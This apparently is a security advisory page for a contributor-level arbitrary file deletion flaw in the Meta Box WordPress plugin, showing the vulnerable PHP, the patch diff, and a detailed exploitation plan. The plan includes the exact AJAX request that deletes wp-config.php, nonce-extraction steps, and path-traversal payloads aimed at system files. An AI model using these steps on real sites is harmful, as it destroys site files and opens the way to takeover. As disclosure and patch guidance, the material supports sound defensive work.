Meta Box <= 5.11.1 - Authenticated (Contributor+) Arbitrary File Deletion
Description
The Meta Box plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the 'ajax_delete_file' function in all versions up to, and including, 5.11.1. This makes it possible for authenticated attackers, with Contributor-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:HTechnical Details
What Changed in the Fix
Changes introduced in v5.11.2
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2025-14675 (Meta Box File Deletion) ## 1. Vulnerability Summary The **Meta Box** plugin (<= 5.11.1) is vulnerable to **Authenticated Arbitrary File Deletion** via path traversal. The vulnerability resides in the `ajax_delete_file` function within `inc/fields/file.…
Show full research plan
Exploitation Research Plan - CVE-2025-14675 (Meta Box File Deletion)
1. Vulnerability Summary
The Meta Box plugin (<= 5.11.1) is vulnerable to Authenticated Arbitrary File Deletion via path traversal. The vulnerability resides in the ajax_delete_file function within inc/fields/file.php. This function fails to properly validate the attachment_id parameter when it is not a numeric ID. It performs a simple str_replace on the site's home URL and passes the resulting path directly to unlink(), allowing authenticated users with Contributor-level access to delete any file the web server has permission to remove, including wp-config.php.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
rwmb_delete_file(registered ininc/fields/file.php) - Vulnerable Parameter:
attachment_id(sent via POST) - Required Authentication: Contributor or higher.
- Preconditions:
- A Meta Box with a
filetype field must be registered for a post type the attacker can edit. - The attacker must be able to populate the metadata of that field with the target file path (or a traversal string).
- A Meta Box with a
3. Code Flow
- Entry Point: The AJAX action
wp_ajax_rwmb_delete_filecallsRWMB_File_Field::ajax_delete_file(). - Nonce Verification:
check_ajax_referer( "rwmb-delete-file_{$field_id}" )verifies a nonce tied to the specificfield_id. - Data Retrieval: The function retrieves the field settings and the current meta value for the post using
rwmb_get_field_settingsandself::raw_meta. - Validation Check:
self::in_array_r( $attachment, $field_value )checks if the requested$attachment(the path to delete) exists in the field's metadata. This is the only protection. - Vulnerable Sink:
If// inc/fields/file.php } else { $path = str_replace( home_url( '/' ), trailingslashit( ABSPATH ), $attachment ); $result = unlink( $path ); }$attachmentis a URL starting withhome_url('/'), it is transformed into a local path. If$attachmentishttp://site.com/wp-config.php, it becomes/var/www/html/wp-config.php.
4. Nonce Acquisition Strategy
The nonce is generated specifically for each field ID. It is rendered in the HTML of the post edit screen.
- Identify Field: We will register a field with ID
vulnerable_field. - Create Content: Create a post and ensure the Meta Box is active.
- Navigate: Use
browser_navigateto the edit page of that post (e.g.,/wp-admin/post.php?post=ID&action=edit). - Extract: The nonce is stored in the
data-delete_nonceattribute of theulelement that manages the files for that field.- JS Selector:
document.querySelector('ul.rwmb-files[data-field_id="vulnerable_field"]')?.getAttribute('data-delete_nonce')
- JS Selector:
5. Exploitation Strategy
Step 1: Setup Meta Box
Register a file field using a temporary plugin or functions.php.
add_filter( 'rwmb_meta_boxes', function( $meta_boxes ) {
$meta_boxes[] = [
'title' => 'Test Meta Box',
'fields' => [
[
'id' => 'vulnerable_field',
'name' => 'File',
'type' => 'file',
],
],
];
return $meta_boxes;
} );
Step 2: Inject Malicious Meta
To pass the in_array_r check, the target path must be in the database. As the "Contributor" (or during setup), we will use WP-CLI to set this meta directly, simulating a successful save of a malicious value.
- Target:
wp-config.php - Value:
http://localhost:8080/wp-config.php(assuming standard port)
Step 3: Trigger Deletion
Send a POST request to admin-ajax.php.
Request Details:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action:rwmb_delete_filefield_id:vulnerable_fieldfield_name:vulnerable_fieldattachment_id:http://localhost:8080/wp-config.phpobject_id:[POST_ID]object_type:post_ajax_nonce:[EXTRACTED_NONCE]
6. Test Data Setup
- User: Create a user
attackerwith thecontributorrole. - Plugin: Ensure
meta-boxversion 5.11.1 is installed. - Registration Snippet: Create
/var/www/html/wp-content/mu-plugins/register_vuln_field.phpwith the snippet from Step 1. - Post: Create a post as the
attacker.wp post create --post_type=post --post_author=$(wp user get attacker --field=ID) --post_title="Vuln Post" --post_status=publish - Metadata Injection: Set the meta for the created post.
wp post meta set [POST_ID] vulnerable_field "http://localhost:8080/wp-config.php"
7. Expected Results
- The AJAX response should return
{"success":true}. - The
wp-config.phpfile should be deleted from the filesystem.
8. Verification Steps
- Check File: Use a shell command to verify the file is gone:
Expected: "No such file or directory".ls /var/www/html/wp-config.php - Check Site State: Attempting to load the site via
http_requestshould now redirect to the WordPress installation screen (wp-admin/setup-config.php), confirmingwp-config.phpis missing.
9. Alternative Approaches
If str_replace requires exact matching of the home_url, and the stored meta value doesn't exactly match the attachment_id sent in the request (e.g., due to trailing slashes), the exploit will fail.
- Traversal: If we can't delete
wp-config.phpdirectly, try traversing out of the web root if the home URL setup allows:http://localhost:8080/../../../../etc/passwd. - Field Name Type: If
field_namecontains[(array syntax), the logic inajax_delete_filechanges tochildtype. Test withfield_name=vulnerable_field[0]if top-level fails.
Summary
The Meta Box plugin for WordPress is vulnerable to arbitrary file deletion via path traversal because the 'ajax_delete_file' function fails to validate that a file path is within an allowed directory before calling unlink(). Authenticated attackers with Contributor-level access or higher can exploit this to delete sensitive files like wp-config.php, potentially leading to remote code execution.
Vulnerable Code
// inc/fields/file.php public static function ajax_delete_file() { $request = rwmb_request(); $field_id = (string) $request->filter_post( 'field_id' ); $type = str_contains( $request->filter_post( 'field_name' ), '[' ) ? 'child' : 'top'; check_ajax_referer( "rwmb-delete-file_{$field_id}" ); if ( 'child' === $type ) { $field_group = explode( '[', $request->filter_post( 'field_name' ) ); $field_id = $field_group[0]; // This is top parent field_id. } // Make sure the file to delete is in the custom field. $attachment = $request->post( 'attachment_id' ); $object_id = $request->filter_post( 'object_id' ); $object_type = (string) $request->filter_post( 'object_type' ); $field = rwmb_get_field_settings( $field_id, [ 'object_type' => $object_type ], $object_id ); $field_value = self::raw_meta( $object_id, $field ); if ( ! self::in_array_r( $attachment, $field_value ) ) { wp_send_json_error( __( 'Error: Invalid file', 'meta-box' ) ); } // Delete the file. if ( is_numeric( $attachment ) ) { $result = wp_delete_attachment( $attachment ); } else { $path = str_replace( home_url( '/' ), trailingslashit( ABSPATH ), $attachment ); $result = unlink( $path ); // phpcs:ignore WordPress.WP.AlternativeFunctions.unlink_unlink }
Security Fix
@@ -51,8 +51,17 @@ if ( is_numeric( $attachment ) ) { $result = wp_delete_attachment( $attachment ); } else { - $path = str_replace( home_url( '/' ), trailingslashit( ABSPATH ), $attachment ); - $result = unlink( $path ); // phpcs:ignore WordPress.WP.AlternativeFunctions.unlink_unlink + $path = str_replace( home_url( '/' ), trailingslashit( ABSPATH ), $attachment ); + + // Security: validate resolved path is within $field['upload_dir'] directory. + $real_path = realpath( $path ); + $real_path = wp_normalize_path( $real_path ); + $allowed_base = ! empty( $field['upload_dir'] ) ? trailingslashit( wp_normalize_path( $field['upload_dir'] ) ) : ''; + if ( ! $real_path || ! $allowed_base || ! str_starts_with( $real_path, $allowed_base ) ) { + wp_send_json_error( __( 'Error: The file is outside the allowed upload directory', 'meta-box' ) ); + } + + $result = unlink( $real_path ); // phpcs:ignore WordPress.WP.AlternativeFunctions.unlink_unlink }
Exploit Outline
1. Gain Contributor-level access to the WordPress site. 2. Navigate to a post edit page where a Meta Box 'file' field is registered and active. 3. Inject the target file's site-relative URL (e.g., 'http://target-site.com/wp-config.php') into the field's metadata. This can be done via the standard post editor if the field allows custom input or via other meta-save mechanisms accessible to the user. 4. Extract the security nonce for the specific field ID, which is found in the 'data-delete_nonce' attribute of the file list element (ul.rwmb-files) in the post editor UI. 5. Send an AJAX request to /wp-admin/admin-ajax.php with the 'action' set to 'rwmb_delete_file', 'attachment_id' set to the target URL, the correct 'field_id', and the captured nonce. 6. The plugin's vulnerable logic will perform a str_replace on the URL to turn it into an absolute file path and pass it directly to unlink(), deleting the file.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.